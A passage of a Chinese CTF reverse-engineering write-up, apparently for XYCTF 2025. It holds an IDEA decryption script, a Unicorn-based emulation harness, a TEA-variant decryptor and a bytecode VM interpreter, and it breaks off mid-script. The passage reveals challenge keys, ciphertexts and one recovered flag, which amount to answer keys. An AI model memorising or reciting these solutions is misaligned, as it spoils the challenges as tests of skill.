tmp_2 += code_2[i] * pow(2, i);
}
if (tmp_1 == 0)
tmp_1 = 65536;
if (tmp_2 == 0)
tmp_2 = 65536;
long long tmp = (tmp_1 * tmp_2) % 65537;
return bitset<16>(tmp == 65536 ? 0 : tmp);
}

void Exgcd(int a, int b, int &x, int &y)
{
if (!b)
x = 1, y = 0;
else
Exgcd(b, a % b, y, x), y -= a / b * x;
}

code invTimes(code code_in)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
tmp += code_in[i] * pow(2, i);
int x, y;
int p = 65537;
Exgcd(tmp, p, x, y);
x = (x % p + p) % p;
return bitset<16>(x);
}

void subkeys_get(code keys_input[8])
{
key keys;
for (int i = 0; i < 8; i++)
for (int j = 0; j < 16; j++)
keys[j + 16 * i] = keys_input[7 - i][j];

for (int i = 0; i < 8; i++)
for (int j = 0; j < 16; j++)
sub_key[i][15 - j] = keys[127 - (j + 16 * i)];

for (int i = 0; i < 5; i++)
{
key tmp_keys = keys >> 103;
keys = (keys << 25) | tmp_keys;
for (int j = (8 + 8 * i); j < (8 * (i + 2)); j++)
for (int k = 0; k < 16; k++)
sub_key[j][15 - k] = keys[127 - (k + 16 * (j - 8 - 8 * i))];
}

key tmp_keys = keys >> 103;
keys = (keys << 25) | tmp_keys;
for (int i = 48; i < 52; i++)
for (int j = 0; j < 16; j++)
sub_key[i][15 - j] = keys[127 - (j + 16 * (i - 48))];
}

void inv_subkeys_get(code sub_key[52])
{
for (int i = 6; i < 48; i += 6)
{
inv_sub_key[i] = invTimes(sub_key[48 - i]);
inv_sub_key[i + 1] = invPlus(sub_key[50 - i]);
inv_sub_key[i + 2] = invPlus(sub_key[49 - i]);
inv_sub_key[i + 3] = invTimes(sub_key[51 - i]);
}

for (int i = 0; i < 48; i += 6)
{
inv_sub_key[i + 4] = sub_key[46 - i];
inv_sub_key[i + 5] = sub_key[47 - i];
}

inv_sub_key[0] = invTimes(sub_key[48]);
inv_sub_key[1] = invPlus(sub_key[49]);
inv_sub_key[2] = invPlus(sub_key[50]);
inv_sub_key[3] = invTimes(sub_key[51]);

inv_sub_key[48] = invTimes(sub_key[0]);
inv_sub_key[49] = invPlus(sub_key[1]);
inv_sub_key[50] = invPlus(sub_key[2]);
inv_sub_key[51] = invTimes(sub_key[3]);
}

bitset<64> dencrypt(bitset<64> cipher)
{
bitset<16> I_1, I_2, I_3, I_4;
for (int i = 0; i < 16; i++)
{
I_1[15 - i] = cipher[63 - i];
I_2[15 - i] = cipher[47 - i];
I_3[15 - i] = cipher[31 - i];
I_4[i] = cipher[i];
}
for (int i = 0; i < 48; i += 6)
{
bitset<16> tmp_1 = Times(inv_sub_key[i], I_1);
bitset<16> tmp_2 = Plus(inv_sub_key[i + 1], I_2);
bitset<16> tmp_3 = Plus(inv_sub_key[i + 2], I_3);
bitset<16> tmp_4 = Times(inv_sub_key[i + 3], I_4);
bitset<16> tmp_5 = XOR(tmp_1, tmp_3);
bitset<16> tmp_6 = XOR(tmp_2, tmp_4);
bitset<16> tmp_7 = Times(inv_sub_key[i + 4], tmp_5);
bitset<16> tmp_8 = Plus(tmp_6, tmp_7);
bitset<16> tmp_9 = Times(tmp_8, inv_sub_key[i + 5]);
bitset<16> tmp_10 = Plus(tmp_7, tmp_9);
I_1 = XOR(tmp_1, tmp_9);
I_2 = XOR(tmp_3, tmp_9);
I_3 = XOR(tmp_2, tmp_10);
I_4 = XOR(tmp_4, tmp_10);
}
bitset<16> Y_1 = Times(I_1, inv_sub_key[48]);
bitset<16> Y_2 = Plus(I_3, inv_sub_key[49]);
bitset<16> Y_3 = Plus(I_2, inv_sub_key[50]);
bitset<16> Y_4 = Times(I_4, inv_sub_key[51]);

bitset<64> plaint;
for (int i = 0; i < 16; i++)
{
plaint[i] = Y_4[i];
plaint[i + 16] = Y_3[i];
plaint[i + 32] = Y_2[i];
plaint[i + 48] = Y_1[i];
}
return plaint;
}

int main()
{
// 后16字节进行IDEA解密
unsigned char enc2[16] = {
0x5C, 0x2F, 0xD0, 0xEC, 0x82, 0x0E, 0x67, 0x57,
0x6A, 0x9F, 0x91, 0xF6, 0x95, 0xA4, 0xAC, 0x90};

unsigned int key[4] = {
0x6C98B242, 0x78563412, 0x3E6A6D0D, 0xEFCDAB89};

code keys_input[8];
for (int i = 0; i < 4; i++)
{
keys_input[2 * i + 1] = key[i] & 0xFFFF;
keys_input[2 * i] = (key[i] >> 16) & 0xFFFF;
}

unsigned char result[16];
bitset<64> cipher1, cipher2;

// 将密文字节数组转换为两个 64 位的大端序数据块
for (int i = 0; i < 8; i++)
{
for (int j = 0; j < 8; j++)
{
cipher1[63 - (i * 8 + j)] = (enc2[i] >> (7 - j)) & 1;
cipher2[63 - (i * 8 + j)] = (enc2[i + 8] >> (7 - j)) & 1;
}
}
subkeys_get(keys_input);
inv_subkeys_get(sub_key);

bitset<64> plain1 = dencrypt(cipher1);
bitset<64> plain2 = dencrypt(cipher2);

uint64_t plain1_val = plain1.to_ullong();
uint64_t plain2_val = plain2.to_ullong();

uint8_t dec2[16]{};
memcpy(dec2, &plain2_val, 8);
memcpy(dec2 + 8, &plain1_val, 8);
reverse(dec2, dec2 + 16);

printf("%.16s\n", dec2);
return 0;
}

flag{moshui_build_this_block}

ezVM [复现]

参考XYCTF2025 | Liv’s blogXYCTF 2025 WriteUp | 棱晶の小窝

image-20250501192625500

ubuntu上编译一份unicorn代码,IDA bindiff导入后,设定阈值再导入

image-20250501202252533

就有符号了

1
2
3
4
5
6
7
sudo apt update
sudo apt install -y git cmake make build-essential python3-dev
git clone https://github.com/unicorn-engine/unicorn.git
cd unicorn
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
make -j$(nproc)

进如一个你的目录创建个代码编译

vim main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// main.c
#include <unicorn/unicorn.h>
#include <stdio.h>

int main() {
uc_engine *uc;
uc_err err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc);
if (err != UC_ERR_OK) {
printf("Failed on uc_open() with error returned: %u\n", err);
return -1;
}
printf("Unicorn Engine initialized.\n");
uc_close(uc);
return 0;
}
1
gcc -static main.c -I/home/matriy/tools/unicorn/include /home/matriy/tools/unicorn/build/libunicorn.a -lm -o main

image-20250501202607025

阈值建议0.6

image-20250501220022568

image-20250501221027121

image-20250501221012668

无意间发现

image-20250501221456913

可能跟tea相关,学习一下Liv师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <iostream>
#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#include "data.hpp"
#include "unicorn/unicorn.h"
#pragma comment(lib,"unicorn-import.lib")

static void hook_code(uc_engine* uc, uint64_t address, uint32_t size, void* user_data) {
uint64_t w0,w1,w2,w3,w4;

if (address == 0x1fac)
{
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W3 = W1 ^ W0 --- %llx ^ %llx = %llx\n", w1,w0,w1^w0);
}
if (address == 0x2BE4)
{
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W3 = W1 >> W0 --- %llx >> %llx = %llx\n", w1, w0, w1 >> w0);
}
if (address == 0x2DB4)
{
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W3 = W1 << W0 --- %llx << %llx = %llx\n", w1, w0, w1 << w0);
}
if (address == 0x232C)
{
uc_reg_read(uc, UC_ARM64_REG_W3, &w3);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W2 = W0 & W3 --- %llx & %llx = %llx\n", w0, w3, w0 & w3);
}
if (address == 0x2054)
{
uc_reg_read(uc, UC_ARM64_REG_W3, &w3);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W2 = W0 ^ W3 --- %llx ^ %llx = %llx\n", w0, w3, w3 ^ w0);
}
if (address == 0x2238)
{
uc_reg_read(uc, UC_ARM64_REG_W3, &w3);
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);

printf("W2 = W0 ^ W3 --- %llx ^ %llx = %llx\n", w0, w3, w3 ^ w0);
}
if (address == 0x2180)
{
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
uc_reg_read(uc, UC_ARM64_REG_W4, &w4);

printf("W1 = W1 ^ W4 --- %llx ^ %llx = %llx\n", w1, w4, w1 ^ w4);
}
if (address == 0x1CC4)
{
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
printf("W2 = W1 + W0 --- %llx + %llx = %llx\n", w1, w0, w1 + w0);
}
if (address == 0x1A0C)
{
uc_reg_read(uc, UC_ARM64_REG_W0, &w0);
uc_reg_read(uc, UC_ARM64_REG_W1, &w1);
printf("W2 = W1 + W0 --- %llx + %llx = %llx\n", w1, w0, w1 + w0);
}
}

int main()
{
uint8_t Input[] = "11112222111111111111111111111111";
uc_engine* uc{};
uc_hook hook;
uint64_t InputAddr = 0x14C28;
uint64_t Stack = 0x7F0000;
uint8_t MyEncFlag[100]{};
uint64_t Base = 0x0000000001000000;
uc_open(uc_arch::UC_ARCH_ARM64, uc_mode::UC_MODE_ARM, &uc);
uc_mem_map(uc, 0, Base, UC_PROT_ALL);
uc_mem_map(uc, Stack - 4096, 0x4000, UC_PROT_ALL);
uc_hook_add(uc, &hook, UC_HOOK_CODE, hook_code, NULL, 1, 0);
uc_mem_write(uc, 0x14C28, (LPVOID)&Input, 0x20u);
uc_mem_write(uc, 0x0C70, (LPVOID)&Code, 8840u);
uc_mem_write(uc, 0x14010, (LPVOID)Data1, 0x9B8u);
uc_mem_write(uc, 0x30F0, (LPVOID)&Data2, 0x54u);
uc_mem_write(uc, 0x149E8, (LPVOID)&Data3, 8u);
uc_reg_write(uc, 0xC7, (LPVOID)&InputAddr);// X0
uc_reg_write(uc, 4, (LPVOID)&Stack); // SP
if (!uc_emu_start(uc, 0x0C70, 0x2EF4, 0, 0))
{
uc_mem_read(uc, InputAddr, &MyEncFlag, 48);
}
for (int i = 0; i < 32; i++)
{
printf("%X ", MyEncFlag[i]);
}
uc_close(uc);
return 0;
}

思路懂了,但是还是没看懂怎么做,琢磨了半天,先留着吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <iostream>

void decipher(uint32_t v[2], const uint32_t key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0x5f5fe6e7 * 72, delta = 0x5f5fe6e7;
for (i = 0; i < 72; i++)
{
auto tmp3 = (((v0 << 7) ^ (v0 >> 4)) + (v0 ^ 0x55667788));
auto tmp4 = ((key[(sum >> 11) & 3] + sum) ^ 0x23235566 ^ tmp3);
v1 -= tmp4;
sum -= delta;
auto tmp = (((v1 << 6) ^ (v1 >> 5)) + (v1 ^ 0x11223344));
auto tmp2 = (((key[sum & 3] + sum) ^ 0xabab1212) ^ tmp);
v0 -= tmp2;
}
v[0] = v0;
v[1] = v1;
}

int main()
{
uint32_t key[]{
0x776f6853,
0x656b616d,
0x616d5f72,
0x74696564};
unsigned int Encflag[8] = {
0x696C2E9A, 0x76ADE8E1, 0xE67D5CA4, 0x5C76BD38,
0xB7AC0787, 0xBFEA0C65, 0x01C2FF10, 0x6D16FD38};
decipher(Encflag, key);
decipher((uint32_t *)((uint64_t)Encflag + 8), key);
decipher((uint32_t *)((uint64_t)Encflag + 16), key);
decipher((uint32_t *)((uint64_t)Encflag + 24), key);
printf("%.32s\n", Encflag);
return 0;
}

贴一下另一个师傅的解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
import time

opc = [0x00000000, 0x00000001, 0x00000200, 0x00000000, 0x00000000, 0x00000006, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000001, 0x00000004, 0x00000005, 0x00000003, 0x00000004, 0x00000005,
0x00000050, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0x00000008, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE4, 0x00000000, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE4,
0x00000004, 0x00000004, 0x00000002, 0x00000001, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFD8, 0x00000002, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE4, 0x00000002, 0x00000006,
0x00000000, 0x00000003, 0x00000000, 0x00000002, 0x00000005, 0x00000004, 0xFFFFFFFF, 0x00000000, 0x00000004, 0x00000002, 0x00000004, 0xFFFFFFE4, 0x00000001, 0x00000009, 0x00000002, 0x00000004,
0xFFFFFFFF, 0x00000000, 0x0000000A, 0x00000029, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE4, 0x00000003, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFD8, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFD4, 0x00000002, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFD4, 0x00000020, 0x0000000F, 0x0000005B, 0x00000011, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0x00000008,
0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE0, 0x00000003, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB0, 0x00000053, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB1, 0x00000068, 0x00000002,
0x00000002, 0x00000004, 0xFFFFFFB2, 0x0000006F, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB3, 0x00000077, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB4, 0x0000006D, 0x00000002, 0x00000002,
0x00000004, 0xFFFFFFB5, 0x00000061, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB6, 0x0000006B, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB7, 0x00000065, 0x00000002, 0x00000002, 0x00000004,
0xFFFFFFB8, 0x00000072, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB9, 0x0000005F, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBA, 0x0000006D, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBB,
0x00000061, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBC, 0x00000064, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBD, 0x00000065, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBE, 0x00000069,
0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBF, 0x00000074, 0x00000006, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFB0, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000000, 0x00000002,
0x00000007, 0x00000004, 0xFFFFFFD0, 0xA0A01919, 0x00000002, 0x00000004, 0x00000002, 0x00000004, 0x00000012, 0x00000004, 0x00000003, 0x00000002, 0x00000000, 0x00000002, 0x00000003, 0x00000000,
0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFCC, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004,
0x00000008, 0x00000004, 0x00000003, 0x00000000, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFC8, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004, 0x00000008, 0x00000004, 0x00000003, 0x00000001, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF4,
0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFC4, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004, 0x00000012, 0x00000004,
0x00000000, 0x00000003, 0x00000003, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000003, 0x00000002, 0x00000000, 0x00000002, 0x00000000, 0x00000004,
0xFFFFFFC0, 0x00000003, 0x00000002, 0x00000007, 0x00000004, 0xFFFFFFF8, 0x00000000, 0x0000000C, 0x00000137, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000004, 0x00000004,
0x00000000, 0x00000002, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000000, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000008, 0x00000013, 0x00000268, 0x00000002, 0x00000003,
0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000009, 0x00000000, 0x00000003, 0x00000002, 0x00000004, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFEC, 0x00000000, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x0000000A, 0x00000000,
0x00000003, 0x00000002, 0x00000004, 0x00000004, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000000, 0x00000002, 0x00000007, 0x00000004, 0xFFFFFFF0, 0x00000000, 0x00000002, 0x00000007,
0x00000004, 0xFFFFFFDC, 0x00000000, 0x0000000C, 0x00000183, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFDC, 0x00000004, 0x00000004, 0x00000002, 0x00000001, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFDC, 0x00000002, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFDC, 0x00000048, 0x00000014, 0x0000023B, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE8, 0x00000007,
0x00000004, 0x00000003, 0x00000005, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000008, 0x00000004, 0x00000000, 0x00000006, 0x00000005, 0x00000001, 0x00000003, 0x00000000,
0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE8, 0x00000005, 0x00000004, 0x00000002, 0x11223344, 0x00000004, 0x00000001, 0x00000003, 0x00000002, 0x00000002, 0x00000003, 0x00000002,
0x00000004, 0xFFFFFFF0, 0x0000000D, 0x00000004, 0x00000002, 0x00000003, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000009, 0x00000002, 0x00000000, 0x00000002,
0x00000004, 0x00000004, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF0, 0x00000005, 0x00000004, 0x00000002, 0xABAB1212, 0x00000005, 0x00000001, 0x00000003, 0x00000002, 0x00000004, 0x00000003,
0x00000003, 0x00000004, 0xFFFFFFEC, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFEC, 0x00000003, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFF0, 0x00000003, 0x00000003, 0x00000003,
0x00000004, 0xFFFFFFD0, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF0, 0x00000003, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFEC, 0x00000007, 0x00000004, 0x00000003, 0x00000004,
0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFEC, 0x00000008, 0x00000004, 0x00000000, 0x00000007, 0x00000005, 0x00000001, 0x00000003, 0x00000000, 0x00000002, 0x00000003, 0x00000002,
0x00000004, 0xFFFFFFEC, 0x00000005, 0x00000004, 0x00000002, 0x55667788, 0x00000004, 0x00000001, 0x00000003, 0x00000002, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF0, 0x00000007,
0x00000004, 0x00000000, 0x0000000B, 0x0000000D, 0x00000004, 0x00000000, 0x00000003, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000009, 0x00000000, 0x00000002,
0x00000000, 0x00000004, 0x00000004, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF0, 0x00000005, 0x00000004, 0x00000000, 0x23235566, 0x00000005, 0x00000001, 0x00000000, 0x00000003, 0x00000004,
0x00000003, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000000, 0x0000000C, 0x00000175, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8,
0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFEC, 0x00000002, 0x0000000B, 0x00000002, 0x00000000, 0x00000004, 0x00000003,
0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE8, 0x00000002,
0x0000000C, 0x00000002, 0x00000000, 0x00000004, 0x00000004, 0x00000003, 0x0000000C, 0x00000129, 0x00000002, 0x00000001, 0x00000005, 0x00000004, 0x00000001, 0x00000000, 0x00000000, 0x00000000]

reg = [0x0] * 11
memory = [0x0] * 144
# m = str(input())
memory[128] = 0x30303030
memory[129] = 0x31313131
memory[130] = 0x31313131
memory[131] = 0x31313131
memory[132] = 0x32323232
memory[133] = 0x32323232
memory[134] = 0x33333333
memory[135] = 0x33333333
reg[4] = 0
reg[5] = 0x100
result = []
# xmm寄存器为reg[7]~reg[10]
# 读取字节码,reg[6]就是索引

# 操作符opc:opc[reg[6]]
# 参数arg:opc[reg[6]+n]
# reg寄存器:reg[opc[reg[6]+n]]
# memory内存:memory[reg[opc[reg[6]+n]]+opc[reg[6]+n]]

while reg[6] < len(opc):
# mov(其实是push)
if opc[reg[6]] == 0:
index = (reg[5]-4)//4
reg[5] -= 4
if opc[reg[6]+1] == 0:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, asm: mov memory[{index}], reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}")
memory[index] = reg[opc[reg[6]+2]]
elif opc[reg[6]+1] == 1:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, asm: mov memory[{index}], {hex(opc[reg[6]+2])}")
memory[index] = opc[reg[6]+2]
reg[6] += 3
# end
elif opc[reg[6]] == 1:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, asm: end of VM")
for j in range(128, 136):
result.append(memory[j])
reg[6] += 2
break
# mov
elif opc[reg[6]] == 2:
if opc[reg[6]+1] == 0:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+4]}] = {hex(reg[opc[reg[6]+4]])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = reg[opc[reg[6]+4]]
reg[6] += 5
elif opc[reg[6]+1] == 1:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+3]]
reg[6] += 4
elif opc[reg[6]+1] == 2:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov ({BYTEPlace}#BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8)}, reg[{opc[reg[6]+4]}] = {hex(opc[reg[6]+4])}")
if BYTEPlace == 0: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFFFFFF00)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 1: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFFFF00FF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 2: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFF00FFFF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 3: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0x00FFFFFF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
reg[6] += 5
elif opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = opc[reg[6]+3]
reg[6] += 4
elif opc[reg[6]+1] == 5:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov ({BYTEPlace}#BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8)}, (BYTE)reg[{opc[reg[6]+4]}] = {hex(reg[opc[reg[6]+4]]&0xFF)}")
if BYTEPlace == 0: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFFFFFF00)+((reg[opc[reg[6]+4]]*0x00000001)&0x000000FF)
